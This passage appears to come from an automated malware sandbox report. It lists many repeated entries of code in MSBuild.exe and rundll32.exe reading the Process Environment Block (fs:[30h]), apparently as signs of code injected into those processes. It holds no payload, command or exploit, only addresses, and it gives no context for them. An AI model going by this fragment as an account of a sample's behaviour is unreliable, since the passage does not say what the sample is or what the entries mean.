Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F21DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F21DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F21DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F235A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F17D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F33D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F73540 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F7A537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F03D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC8D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F24D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F24D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F24D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFAD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F216E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F076E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC8ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F38EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FAFEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F236CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F746A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8FE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F07E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F07E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F07E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F07E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F07E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F07E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FAFE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFE620 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F28E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F337F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F77794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F77794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F77794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F08794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0FF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC8F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0EF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A520A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A690AF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A29080 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3849B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A258EC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE14FB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF8CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABB8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4746D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF1074 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE2073 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A40050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A40050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A535A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A561A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A561A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA69A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A51DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A51DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A51DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A52581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A52581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A52581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A52581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A22D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A22D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A22D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A22D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A22D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A52990 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AB41E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AEFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AEFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AEFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AEFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AD8DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A44120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A44120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A44120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A44120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A44120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A33D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AEE539 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF8D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AAA537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A54D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A54D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A54D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5513A mov eax, dword ptr fs:[00000030h]
